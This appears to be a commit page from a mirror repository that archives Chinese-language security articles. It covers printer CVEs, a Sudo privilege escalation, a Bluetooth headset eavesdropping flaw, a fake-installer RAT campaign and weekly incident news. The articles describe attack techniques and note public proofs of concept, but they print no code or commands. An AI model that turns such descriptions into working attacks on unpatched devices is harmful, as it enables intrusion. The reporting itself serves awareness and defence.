mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
攻击者通过滥用暴露的 Java 调试线协议 (JDWP) 接口实现远程代码执行，部署挖矿、如何调试Microsoft Defender for Endpoint (MDE) 发现 CVE 漏洞、【安全圈】你的耳机在被偷听！20+音频设备曝出漏洞：索尼、Bose、JBL等沦陷、伪装成漏洞检测工具样本分析、在看 | 周报：南阳某机械有限公司网站遭黑客攻击；742款打印机被曝存在安全漏洞；虚假WPS安装程序暗藏远控木马、FreeBuf周报 | Linux高危Sudo漏洞可提权至root并绕过限制；Lucee应用服务器曝高危漏洞、742款打印机存在不可修复的远程代码执行漏洞，涉兄弟、富士、理光等品牌、
This commit is contained in:
test committed
1 parent
8bae5428ec
commit
93dffeb192
8 files changed
+1180
-1
No files matched your search
@@ -15794,5 +15794,12 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI5NTUzNzY3Ng==&mid=2247489163&idx=1&sn=1e008afd0c76a101b63097cd15c89645": "漏洞预警|多家主流蓝牙耳机曝出可被监视漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI5NTQ5MTAzMA==&mid=2247484499&idx=1&sn=8990d10a757c9fdb5cfde304a9632624": "【在野利用】Chrome V8 引擎类型混淆漏洞(CVE-2025-6554)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523450&idx=1&sn=fb41027f31142b3eef6b9494edc4b71e": "微软 Edge 修复两个高危RCE漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5OTk2MTMxOQ==&mid=2727846792&idx=1&sn=622536f639aa4976d47ddfc18e65de3e": "LazyValue下的Parcel漏洞"
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5OTk2MTMxOQ==&mid=2727846792&idx=1&sn=622536f639aa4976d47ddfc18e65de3e": "LazyValue下的Parcel漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247531649&idx=1&sn=64834d89e32ec56e08e86ecd3aafc82b": "攻击者通过滥用暴露的 Java 调试线协议 (JDWP) 接口实现远程代码执行，部署挖矿",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI1MDA1MjcxMw==&mid=2649908515&idx=1&sn=9dd45778d480828d43ccc3465239a217": "如何调试Microsoft Defender for Endpoint (MDE) 发现 CVE 漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070509&idx=1&sn=6cf6b923bca528cc5cc03d57ebcc2bf6": "【安全圈】你的耳机在被偷听！20+音频设备曝出漏洞：索尼、Bose、JBL等沦陷",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&mid=2247492633&idx=1&sn=05be5fe8eaa8c8ef60c074abf2f1e958": "伪装成漏洞检测工具样本分析",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247641383&idx=1&sn=3b2c19de6851d8fb8cfd37d6abda9929": "在看 | 周报：南阳某机械有限公司网站遭黑客攻击；742款打印机被曝存在安全漏洞；虚假WPS安装程序暗藏远控木马",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651324483&idx=2&sn=7b7840a855c25cff444583b7d7681c6f": "FreeBuf周报 | Linux高危Sudo漏洞可提权至root并绕过限制；Lucee应用服务器曝高危漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4MjkxNzY1NQ==&mid=2247486277&idx=2&sn=888640822418c3ba152b62a62e185814": "742款打印机存在不可修复的远程代码执行漏洞，涉兄弟、富士、理光等品牌"
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
# 742款打印机存在不可修复的远程代码执行漏洞，涉兄弟、富士、理光等品牌
|
||||
稻草人 玄武盾网络技术实验室 2025-07-05 03:30
|
||||
|
||||
|
||||
|
||||
“
|
||||
对我们感兴趣的话就点个关注吧
|
||||
”
|
||||
|
||||
|
||||
|
||||
|
||||
免责声明：本文仅供安全研究与学习之用，严禁用于非法用途，违者后果自负。
|
||||
|
||||
|
||||
|
||||
|
||||
在一次重大协调披露中，Rapid7 曝光了一系列影响深远的安全漏洞，波及 Brother、富士胶片商业创新、理光和东芝泰格四大厂商的多功能打印机（MFP）产品线。这些涉及 8 个不同 CVE 编号的漏洞共影响 742 款打印机、扫描仪和标签打印机型号，对企业和消费级环境均构成重大安全威胁。
|
||||
## 高危认证绕过漏洞
|
||||
|
||||
最严重的漏洞被标记为 CVE-2024-51978（CVSS 评分 9.8），该认证绕过漏洞允许远程攻击者在无需认证的情况下，仅凭设备序列号即可推导出默认管理员密码。Rapid7 解释称：
|
||||
> "这是由于发现了 Brother 设备使用的默认密码生成程序。该程序会将序列号转换为默认密码。"
|
||||
|
||||
|
||||
更令人担忧的是，该漏洞无法通过固件更新完全修复。Brother 不得不修改受影响设备的生产流程，这意味着只有新生产的设备才能免疫。对于旧型号，该公司已发布临时解决方案。
|
||||
## 远程代码执行攻击链
|
||||
|
||||
另一个高危漏洞 CVE-2024-51979（CVSS 评分 7.2）涉及栈缓冲区溢出，经认证的攻击者可加以利用。结合 CVE-2024-51978，攻击者能实现完整的远程代码执行：
|
||||
> "CVE-2024-51979 漏洞允许经过认证的攻击者触发基于栈的缓冲区溢出...为达成远程代码执行（RCE）提供了足够的利用条件。"
|
||||
|
||||
|
||||
这一攻击链将看似配置疏忽的问题转变为系统完全沦陷的潜在通道。
|
||||
## 其他相关漏洞
|
||||
|
||||
Rapid7 报告还列出了六个额外漏洞：
|
||||
- **CVE-2024-51977**
|
||||
：通过 HTTP/IPP 服务造成信息泄露
|
||||
|
||||
- **CVE-2024-51980/CVE-2024-51981**
|
||||
：可实现网络横向移动的服务端请求伪造（SSRF）
|
||||
|
||||
- **CVE-2024-51982/CVE-2024-51983**
|
||||
：导致设备崩溃的拒绝服务漏洞
|
||||
|
||||
- **CVE-2024-51984**
|
||||
：从 LDAP 和 FTP 等配置的外部服务泄露密码
|
||||
|
||||
## 影响范围与攻击路径
|
||||
|
||||
据 Rapid7 统计，"691 款型号受认证绕过漏洞 CVE-2024-51978 影响"，其他漏洞各影响最多 208 款型号。这些漏洞特别危险之处在于可通过网络访问利用。例如 CVE-2024-51977 可暴露打印机序列号，进而触发 CVE-2024-51978 攻击链。即使不利用该漏洞：
|
||||
> "远程攻击者仍可通过 PJL 或 SNMP 查询获取目标设备的序列号。"
|
||||
|
||||
|
||||
在默认凭证可被获取且具备网络工具访问权限的情况下，攻击者可利用这些漏洞进行横向移动、数据窃取，甚至深入企业网络环境。Rapid7 已公开这些漏洞的概念验证源代码。
|
||||
## 修复建议
|
||||
|
||||
Rapid7 作为 CVE 编号机构（CNA），与 JPCERT/CC 和 Brother 进行了为期 13 个月的协调披露。目前已有固件更新可缓解 8 个漏洞中的 7 个。对于 CVE-2024-51978，Brother 提供了临时解决方案，并更新了未来型号的生产流程。
|
||||
|
||||
用户应立即采取以下措施：
|
||||
- 立即更新固件
|
||||
|
||||
- 修改默认管理员凭证
|
||||
|
||||
- 查阅厂商公告获取额外缓解措施
|
||||
|
||||
**参考来源：**
|
||||
> Windows SMB Flaw (CVE-2025-33073): SYSTEM Privilege Escalation via Kerberos, PoC Available
|
||||
|
||||
|
||||
|
||||
为爱发电，随手点个「推荐」吧！
|
||||
|
||||
|
||||
|
||||
声明：
|
||||
技术文章均收集于互联网，仅作为本人学习、记录使用。
|
||||
侵权删
|
||||
！
|
||||
！
|
||||
|
||||
@@ -0,0 +1,215 @@
|
||||
# FreeBuf周报 | Linux高危Sudo漏洞可提权至root并绕过限制；Lucee应用服务器曝高危漏洞
|
||||
FreeBuf 2025-07-05 11:01
|
||||
|
||||
|
||||
|
||||
|
||||
各位 Buffer 周末好，以下是本周「FreeBuf周报」，我们总结推荐了本周的热点资讯、一周好文，保证大家不错过本周的每一个重点！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**🤯Linux高危Sudo漏洞，可提权至root并绕过限制，PoC已公开**
|
||||
|
||||
**👾高危Lucee漏洞通过计划任务滥用实现认证RCE，Metasploit模块已公开**
|
||||
|
||||
**🌀Apache组件遭大规模攻击：高危RCE漏洞引发数千次利用尝试**
|
||||
|
||||
**💻新型macOS恶意软件利用进程注入与远程通信窃取钥匙串凭证**
|
||||
|
||||
**🛜思科修复统一通信管理器静态SSH root凭证高危漏洞**
|
||||
|
||||
✨Nessus严重漏洞允许覆盖任意本地系统文件
|
||||
### 🔗大语言模型随意猜测网址引发网络安全危机
|
||||
### 🥷揭秘ClickFix：朝鲜Kimsuky组织将PowerShell转化为心理欺骗武器
|
||||
### ✉️谷歌紧急修复已被利用的Chrome零日漏洞：CVE-2025-6554
|
||||
### 🔈MCP Inspector 高危远程代码执行漏洞威胁AI开发者
|
||||
|
||||
|
||||
|
||||
###
|
||||
|
||||
|
||||
Linux高危Sudo漏洞，可提权至root并绕过限制，PoC已公开
|
||||
###
|
||||
|
||||
Sudo曝高危漏洞CVE-2025-32463（CVSS 9.3）和CVE-2025-32462，攻击者可绕过权限限制提权至root。前者利用chroot选项执行任意命令，后者通过主机参数绕过主机限制。影响Sudo 1.8.8至1.9.17版本，需升级至1.9.17p1修复。
|
||||
|
||||
|
||||
|
||||
|
||||
高危Lucee漏洞通过计划任务滥用实现认证RCE，Metasploit模块已公开
|
||||
###
|
||||
###
|
||||
|
||||
### Lucee应用服务器曝高危漏洞CVE-2025-34074（CVSS 9.4），允许认证管理员通过计划任务功能执行任意远程代码，影响所有版本。建议立即限制管理界面访问、审计任务、监控文件变更并应用补丁。
|
||||
|
||||
|
||||
###
|
||||
|
||||
### Apache组件遭大规模攻击：Tomcat与Camel高危RCE漏洞引发数千次利用尝试
|
||||
###
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
Apache Tomcat和Camel关键RCE漏洞（CVE-2025-24813等）遭全球攻击激增，3月超12万次利用尝试。攻击者可劫持系统执行任意代码，利用PUT请求缺陷或HTTP头部过滤漏洞。建议禁用Tomcat部分功能、严格校验Camel输入并立即更新补丁。
|
||||
|
||||
|
||||
|
||||
|
||||
新型macOS恶意软件利用进程注入与远程通信窃取钥匙串凭证
|
||||
###
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
新型macOS恶意软件NimDoor通过社交工程攻击植入，采用多语言架构、进程注入和信号拦截技术窃取Web3与加密货币数据，其复杂性和隐蔽性标志着macOS威胁显著升级。
|
||||
|
||||
|
||||
###
|
||||
|
||||
|
||||
思科修复统一通信管理器静态SSH root凭证高危漏洞
|
||||
|
||||
思科修复了统一通信管理器中的高危漏洞CVE-2025-20309（CVSS 10分），该漏洞因开发阶段遗留的静态SSH凭证导致攻击者可远程获取root权限。影响15.0.1特定版本，建议升级至修复版本15SU3或应用补丁。目前未发现攻击利用。
|
||||
|
||||
|
||||
|
||||
|
||||
Nessus严重漏洞允许覆盖任意本地系统文件
|
||||
###
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
Tenable披露Nessus漏洞扫描器存在3个高危漏洞(CVE-2025-36630等)，影响10.8.5之前版本，其中Windows权限提升漏洞CVSS评分8.4。建议立即升级至10.8.5/10.9.0版本修复漏洞。
|
||||
|
||||
|
||||
|
||||
|
||||
大语言模型随意猜测网址引发网络安全危机
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
AI生成品牌网址错误率高达34%，5%指向钓鱼网站，威胁用户安全。攻击者利用AI幻觉抢注域名，GitHub投毒污染训练数据。专家建议验证域名所有权，加强数据审核，防范钓鱼攻击。
|
||||
|
||||
|
||||
|
||||
|
||||
揭秘ClickFix：朝鲜Kimsuky组织如何将PowerShell转化为心理欺骗武器
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
中东冲突加剧网络战升级：GPS欺骗、虚假警报、加密货币攻击和IP监控交织，黑客活动爆发式增长，电子战与物理战界限模糊，威胁关键基础设施和民众安全，凸显网络-物理冲突新时代的严峻挑战。
|
||||
|
||||
|
||||
|
||||
|
||||
谷歌紧急修复已被利用的Chrome零日漏洞：CVE-2025-6554
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
谷歌紧急修复Chrome高危零日漏洞CVE-2025-6554，该漏洞影响V8引擎，可导致远程代码执行，已被野外利用。补丁已发布，建议用户立即更新。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
MCP Inspector 高危远程代码执行漏洞威胁AI开发者（CVE-2025-49596）
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
Anthropic公司MCP Inspector调试工具存在高危RCE漏洞（CVE-2025-49596，CVSS 9.4），攻击者通过浏览器即可控制开发者电脑。漏洞源于默认配置缺陷，0.14.1版本已修复，新增认证和CSRF防护。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**本周好文推荐指数**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
###
|
||||
|
||||
|
||||
Kerberos 票据攻击：黄金、白银、钻石、蓝宝石票据的攻防全解析
|
||||
###
|
||||
###
|
||||
|
||||
### Kerberos票据攻击（黄金、白银、钻石、蓝宝石票据）利用关键Hash伪造身份，黄金票据伪造TGT，白银票据伪造服务票据，钻石票据自定义PAC权限，蓝宝石票据跨域攻击。防御需轮换krbtgt密码、最小化权限、启用AES加密和PAC验证，监控异常票据使用。
|
||||
|
||||
|
||||
|
||||
|
||||
Java 内存马：原理、种类与企业级深度查杀与防御实战
|
||||
###
|
||||
###
|
||||
|
||||
### Java内存马利用动态注入技术将恶意逻辑植入运行时内存，绕过传统防护。常见类型包括Filter、Servlet、Spring Controller等，危害严重。企业需结合运行时巡检、内存分析、字节码校验及流量监控等多层防御，构建主动检测与快速响应体系，实现深度查杀。
|
||||
|
||||
|
||||
|
||||
|
||||
内存马连接工具：技术特性与攻防分析
|
||||
###
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
### 冰蝎、哥斯拉和蚁剑是主流内存马工具，分别以AES加密、多语言支持和自定义编码器为特点，通过动态注入Filter、Servlet等实现隐蔽控制。防御需监控动态加载、加固上传点、部署EDR和定期内存巡检。
|
||||
###
|
||||
###
|
||||
|
||||
|
||||
###
|
||||
###
|
||||
###
|
||||
### 推荐阅读
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651324107&idx=1&sn=f89429997e0347cfe1580cc8ca6e858b&scene=21#wechat_redirect)
|
||||
|
||||
### 电台讨论
|
||||
|
||||
****
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
# 【安全圈】你的耳机在被偷听！20+音频设备曝出漏洞：索尼、Bose、JBL等沦陷
|
||||
安全圈 2025-07-05 11:01
|
||||
|
||||
|
||||
|
||||
|
||||
**关键词**
|
||||
|
||||
|
||||
|
||||
漏洞
|
||||
|
||||
|
||||
据最新消息，
|
||||
**一款广泛应用于二十余款音频设备的蓝牙芯片被发现存在安全漏洞，黑客可以利用这些漏洞进行窃听或窃取敏感信息。**
|
||||
|
||||
研究人员确认，**拜雅动力、Bose、索尼、马歇尔、捷波朗、JBL、Jlab、EarisMax、MoerLabs 和 Teufel 的29款设备受到影响，**
|
||||
受影响的产品包括音箱、耳塞、头戴式耳机和无线麦克风。
|
||||
|
||||
在德国的TROOPERS安全会议上，网络安全公司ERNW的研究人员披露了Airoha系统芯片中的三个漏洞。
|
||||
|
||||
漏洞编号分别为CVE-2025-20700（6.7分，中等严重性）、CVE-2025-20701（6.7分，中等严重性）和CVE-2025-20702（7.5分，高严重性）。
|
||||
|
||||
研究人员通过概念验证代码，成功从目标耳机读取了正在播放的媒体信息。
|
||||
|
||||
**利用这些漏洞，攻击者可能劫持手机与音频蓝牙设备之间的连接，通过蓝牙免提配置文件（HFP）向手机发送指令。**
|
||||
|
||||
研究人员还从易受攻击设备的内存中提取蓝牙链接密钥，触发拨打任意号码的呼叫，并且根据手机配置，攻击者可能获取通话记录和联系人信息，甚至在手机附近进行窃听。
|
||||
|
||||
**不过，实际实施这些攻击存在诸多限制，攻击者需要具备高超的技术水平，并且必须在蓝牙连接范围内**
|
||||
，因此这些攻击可能主要针对高价值目标。
|
||||
|
||||
Airoha已发布了更新的SDK，包含必要的缓解措施，设备制造商也已开始进行补丁开发和分发。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
END
|
||||
|
||||
|
||||
阅读推荐
|
||||
|
||||
|
||||
[【安全圈】".edu.eu"骗局：虚假教育域名与网站全球诱骗学生](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070495&idx=1&sn=5399cf7fdf00bb6a353a9d4e23899216&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】黑客伪造Cloudflare验证界面诱导用户执行恶意程序](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070495&idx=2&sn=d488d4ae1d8d24dfdd41986494cda080&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】谷歌因未经用户同意使用Android移动数据被判赔偿3.14亿美元](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070495&idx=3&sn=cfe080f2320e4be12370ce9beb91bf56&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】超过40个恶意 Firefox 插件被发现专门窃取加密货币钱包信息](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070495&idx=4&sn=a5da47a67fa5ca2fffb750e8a8a9333a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**安全圈**
|
||||
|
||||
|
||||
|
||||
|
||||
←扫码关注我们
|
||||
|
||||
**网罗圈内热点 专注网络安全**
|
||||
|
||||
**实时资讯一手掌握！**
|
||||
|
||||
|
||||
|
||||
|
||||
**好看你就分享 有用就点个赞**
|
||||
|
||||
**支持「****安全圈」就点个三连吧！**
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
# 伪装成漏洞检测工具样本分析
|
||||
原创 pandazhengzheng 安全分析与研究 2025-07-04 00:31
|
||||
|
||||
**安全分析与研究**
|
||||
|
||||
|
||||
专注于全球恶意软件的分析与研究
|
||||
|
||||
前言概述
|
||||
|
||||
安全分析与研究，专注于全球恶意软件的分析与研究，深度追踪全球黑客组织攻击活动，欢迎大家关注，获取全球最新的黑客组织攻击事件威胁情报。
|
||||
|
||||
|
||||
|
||||
|
||||
笔者从事恶意软件研究十几年了，从上大学开始对计算机的病毒研究感兴趣，到后面一直从事与恶意软件相关的工作，涉及到多个不同的平台，分析研究过的恶意软件家族笔者自己都数不清了，这么多年在笔者的电脑硬盘里面全是这十几年来研究和收集的各种恶意软件家族样本、分析技术与技巧笔记、以及与恶意软件相关的各种技术资料等。
|
||||
|
||||
|
||||
以前笔者常戏称自己的电脑是“养马场”，因为里面全是各种病毒木马样本，包含了各种各样的恶意软件家族，这些恶意软件家族样本包含Windows、Linux(Android)、Mac(iOS)等平台。
|
||||
|
||||
|
||||
安全行业发展了几十年了，不同的时期总是会出现各种新概念、新名词、新平台、新产品，让人眼花缭乱，然而不管哪个时期，恶意软件攻击活动却从来没有停止过，现在的恶意软件已经无处不在，防不甚防，涉及到各种不同的平台，不同的攻击手法，不同的攻击目标。
|
||||
|
||||
|
||||
全球每天都会有各种新的攻击样本出现，这些攻击样本被运用到各种不同的攻击活动当中，包含各种黑灰产攻击、勒索攻击、APT攻击等，不管安全行业如何发展，不管出现多少新的概念，新名词，新产品，新平台，最基础最核心的安全问题，永远会一直存在，不同的时期它会有不同的表现形式，不同的攻击方法，同时会有不同的攻击样本，只要有黑客的存在，有利益的地方，就会有各种不同类型的恶意软件出现。
|
||||
|
||||
|
||||
近日笔者在威胁情报沙箱平台捕获到一例最新的恶意样本，该样本伪装成一个漏洞检测工具，将恶意代码隐蔽在伪装的漏洞检测工具当中，样本运行之后将恶意代码直接注入到指定的进程当中远程调用执行，同时样本使用自修改变型UPX加壳技术，只能手动脱壳，笔者对该恶意样本进行了详细分析，文末提供样本的完整威胁情报。
|
||||
|
||||
|
||||
再次提醒在网上下载的各种安全工具、破解软件以及开源项目组件等，都不要随意安装运行或随意加载调用，有可能一不小心，你就中招了。
|
||||
|
||||
|
||||
@@ -0,0 +1,345 @@
|
||||
# 在看 | 周报：南阳某机械有限公司网站遭黑客攻击；742款打印机被曝存在安全漏洞；虚假WPS安装程序暗藏远控木马
|
||||
原创 管窥蠡测 安在 2025-07-05 10:11
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**热点事件，政策法规，产业要闻，资讯报告，尽在「网安周报」。与网安发展同步，采业界资讯共赏，天天见闻，周周必报。**
|
||||
|
||||
|
||||
**安全事件**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**1、南阳某机械有限公司网站遭黑客攻击**
|
||||
|
||||
|
||||
2025年，宛城区公安分局在网络巡查中发现，南阳某机械有限公司网站遭黑客攻击，网页被篡改为赌博网站，涉嫌为赌博网站引流，造成不良社会影响。因该公司在网络安全管理方面存在严重缺失，缺乏必要管理措施和保护机制，宛城区公安分局依据《网络安全法》对其给予行政警告处罚，并责令限期整改。
|
||||
|
||||
|
||||
**2、742款打印机被曝存在安全漏洞**
|
||||
|
||||
|
||||
兄弟、富士、东芝和康美等品牌的742款打印机，发现存在多处安全漏洞，部分漏洞可被利用生成默认管理员密码，或组合使用导致远程控制。
|
||||
|
||||
|
||||
**3、虚假WPS安装程序暗藏远控木马，可完全控制受害者系统**
|
||||
|
||||
|
||||
网络安全公司Netskope威胁实验室近日发现一起隐蔽的恶意软件攻击活动，攻击者通过将恶意软件包伪装成WPS Office、搜狗输入法和Deepseek等流行应用，通过仿冒官方下载门户的钓鱼网站传播 Sainbox远程访问木马（RAT，Gh0stRAT变种）和基于开源项目的Hidden rootkit。
|
||||
|
||||
|
||||
**4、162款APP（SDK）被通报**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**5、近期3起案例 | 未履行数据安全、网络安全保护义务**
|
||||
|
||||
|
||||
某新型材料集团有限公司未履行数据安全保护义务，致视频监控数据被境外黑客窃取；某科技有限公司未履行网络安全保护义务，致所属IP被黑客远控对外发起攻击；某机关单位网络安全工作责任制落实不力，违规委托第三方运营新媒体账号。
|
||||
|
||||
|
||||
**6、赔偿3000万：中国“数据资源第一案”一审宣判**
|
||||
|
||||
|
||||
2025年6月12日，南京市中级人民法院对“小旺神”数据侵权案作出一审判决，依法裁定“小旺神”相关公司立即停止侵权行为，并赔偿淘宝、天猫、淘软三家公司3000万元。
|
||||
|
||||
|
||||
**7、“清朗·优化营商网络环境—整治涉企网络‘黑嘴’”专项行动公开曝光一批典型案例**
|
||||
|
||||
****
|
||||
近期，国家网信办扎实组织开展“清朗·优化营商网络环境—整治涉企网络‘黑嘴’”专项行动，部署地方网信办积极受理处置涉企网络侵权不法行为，督促重点网站平台强化涉企信息内容管理，从严从快处置一批涉企违法违规账号。
|
||||
|
||||
|
||||
**8、美国一男子入侵多家组织网络以推销其网络安全服务**
|
||||
|
||||
|
||||
32岁的尼古拉斯·迈克尔·克洛斯特（Nicholas Michael Kloster）去年被指控于2024年入侵了三家组织的网络，其中包括一家健康俱乐部和一家密苏里州的非营利公司。
|
||||
|
||||
|
||||
**9、黑客可利用蓝牙芯片漏洞进行远程窃听**
|
||||
|
||||
|
||||
https://www.bleepingcomputer.com/news/security/bluetooth-flaws-could-let-hackers-spy-through-your-microphone/
|
||||
|
||||
|
||||
2025年6月30日，网络安全研究人员披露，一种广泛用于真无线音频设备的蓝牙芯片存在严重漏洞，攻击者可借此在蓝牙范围内实施窃听、读取通话记录，甚至操控设备拨打电话。该漏洞影响了29款由10家知名厂商生产的耳机、音箱和无线麦克风设备，涉及品牌包括Bose、Sony、Jabra、JBL、Marshall、Beyerdynamic等。
|
||||
|
||||
|
||||
**10、Cloudflare为其视频通话应用引入端到端加密技术**
|
||||
|
||||
|
||||
https://www.bleepingcomputer.com/news/security/cloudflare-open-sources-orange-meets-with-end-to-end-encryption/
|
||||
|
||||
|
||||
2025年6月30日，Cloudflare宣布为其视频通话应用Orange Meets引入端到端加密（E2EE）机制，并将该方案以开源形式发布，旨在提升通信安全性与协议透明度。虽然该应用初始作为“Cloudflare Calls”（现更名为Realtime）的一部分推出，主要面向技术演示用途，但此次的安全升级使其成为具备高加密保障的视频通话研究平台。
|
||||
|
||||
|
||||
**11、jsadebugd.exe被武器化，攻击全球石油行业**
|
||||
|
||||
|
||||
https://lab52.io/blog/snake-keylogger-in-geopolitical-affairs-abuse-of-trusted-java-utilities-in-cybercrime-operations/
|
||||
|
||||
|
||||
2025年6月30日，网络安全机构集团披露一起针对全球石油行业的攻击活动。攻击者利用经过篡改的Java调试工具jsadebugd.exe，通过伪装成哈萨克斯坦石油公司的鱼叉式钓鱼邮件传播Snake Keylogger恶意软件。研究人员指出，此次攻击正值中东局势紧张时期，可能与霍尔木兹海峡航运安全引发的全球油价波动有关，攻击者可能试图获取能源贸易敏感数据。
|
||||
|
||||
|
||||
**12、美国警告伊朗将升级对关键基础设施网络攻击**
|
||||
|
||||
|
||||
https://thehackernews.com/2025/06/us-agencies-warn-of-rising-iranian.html
|
||||
|
||||
|
||||
2025年6月30日报道，美国网络安全和基础设施安全局（CISA）、联邦调查局（FBI）、国家安全局（NSA）等机构联合发布警告，称伊朗政府支持的黑客组织正加大对美国及以色列国防、工业控制系统（OT）和关键基础设施的网络攻击。攻击者利用未修复漏洞、默认密码及自动化工具入侵目标，并可能发起DDoS、勒索软件攻击。
|
||||
|
||||
|
||||
**13、瑞士非营利组织Radix遭勒索攻击，联邦政府数据外泄**
|
||||
|
||||
|
||||
https://www.news.admin.ch/en/newnsb/T5AZeWNEPFGe
|
||||
|
||||
|
||||
2025年6月30日报道，瑞士健康促进组织Radix基金会确认遭受重大勒索软件攻击，导致包括联邦政府相关部门数据在内的敏感信息被窃取并加密。攻击者已将部分数据发布于暗网进行勒索。Radix作为多家联邦机构的服务提供商，其系统存储有政府相关数据，但官方强调攻击者未直接入侵联邦政府内部系统。瑞士国家网络安全中心（NCSC）已介入调查，正协调检察机关及相关政府部门评估数据泄露影响范围。
|
||||
|
||||
|
||||
**14、欧洲刑警破获5.4亿美元加密货币杀猪盘**
|
||||
|
||||
****
|
||||
https://thehackernews.com/2025/06/europol-dismantles-540-million.html
|
||||
|
||||
|
||||
2
|
||||
025年6月30日报道，欧洲刑警组织宣布捣毁一个跨国加密货币诈骗网络，涉案金额达约5.4亿美元。该团伙通过"杀猪盘"骗局诱骗全球超5000名受害者，利用虚假投资平台和社交工程手段敛财。西班牙警方在加那利群岛和马德里逮捕5名核心成员，爱沙尼亚、法国和美国执法机构协同参与行动。调查显示，犯罪集团通过约会软件建立信任后诱导受害者注资，使用多层账户转移赃款以逃避追踪。
|
||||
|
||||
|
||||
**15、研究人员发现IDE在扩展程序验证方面存在安全漏洞**
|
||||
|
||||
****
|
||||
https://www.ox.security/can-you-trust-that-verified-symbol-exploiting-ide-extensions-is-easier-than-it-should-be/
|
||||
|
||||
|
||||
2025年7月1日报道，研究人员发现Visual Studio Code、Visual Studio、IntelliJ IDEA等主流IDE的扩展程序验证存在严重漏洞，恶意扩展可绕过信任检查显示为“已验证”。研究团队通过伪装扩展证明其能执行任意代码，攻击者修改服务器请求使恶意扩展声称已验证，导致开发者无意中安装并面临安全风险。
|
||||
|
||||
|
||||
**16、FileFix新变种利用HTML应用程序绕过MOTW警报**
|
||||
|
||||
|
||||
https://mrd0x.com/filefix-part-2/
|
||||
|
||||
|
||||
2025年6月30日报道，安全研究机构发现了一种新的FileFix攻击变种，利用HTML应用程序（HTA）文件绕过Mark of the Web（MOTW）标记。当用户使用Ctrl+S或右键单击>“另存为”保存HTML页面时，选择“网页，单个文件”或“网页，完整”格式会导致浏览器在文件中添加额外内容，但这些格式不会标记为MOTW。攻击者可以利用这一点，通过社会工程学手段诱导用户保存并运行包含恶意脚本的HTA文件。
|
||||
|
||||
|
||||
**17、澳航遭Scattered Spider入侵，600万客户数据泄露**
|
||||
|
||||
****
|
||||
https://www.bleepingcomputer.com/news/security/qantas-discloses-cyberattack-amid-scattered-spider-aviation-breaches/
|
||||
|
||||
|
||||
2025年7月1日，澳大利亚航空公司（澳航）披露了一起严重的网络攻击事件，威胁行为体获得了包含客户数据的第三方平台的访问权限，导致600万客户数据被盗。此次攻击始于一名威胁行为体攻击澳航呼叫中心，并获取了第三方客户服务平台的访问权限。被盗数据包括部分客户的姓名、电子邮件地址、电话号码、出生日期和常旅客会员号码，但信用卡或个人财务信息未遭泄露。
|
||||
|
||||
|
||||
**18、朝鲜黑客利用Nim恶意软件攻击Web3加密平台**
|
||||
|
||||
|
||||
https://www.sentinelone.com/labs/macos-nimdoor-dprk-threat-actors-target-web3-and-crypto-platforms-with-nim-based-malware/
|
||||
|
||||
|
||||
2025年7月2日报道，朝鲜威胁行为体正在通过基于Nim语言编写的恶意软件，针对Web3和加密相关企业发起攻击。这种恶意软件通过进程注入技术和加密的WebSocket协议进行远程通信，具有独特的持久性机制，能够在系统重启或恶意软件终止时持续存在。此次攻击链由多个复杂的脚本和二进制文件组成，结合了C++与Nim编写的组件，形成了新的攻击模式。
|
||||
|
||||
|
||||
**19、研究人员发现v0 AI工具被用于构建钓鱼网站**
|
||||
|
||||
****
|
||||
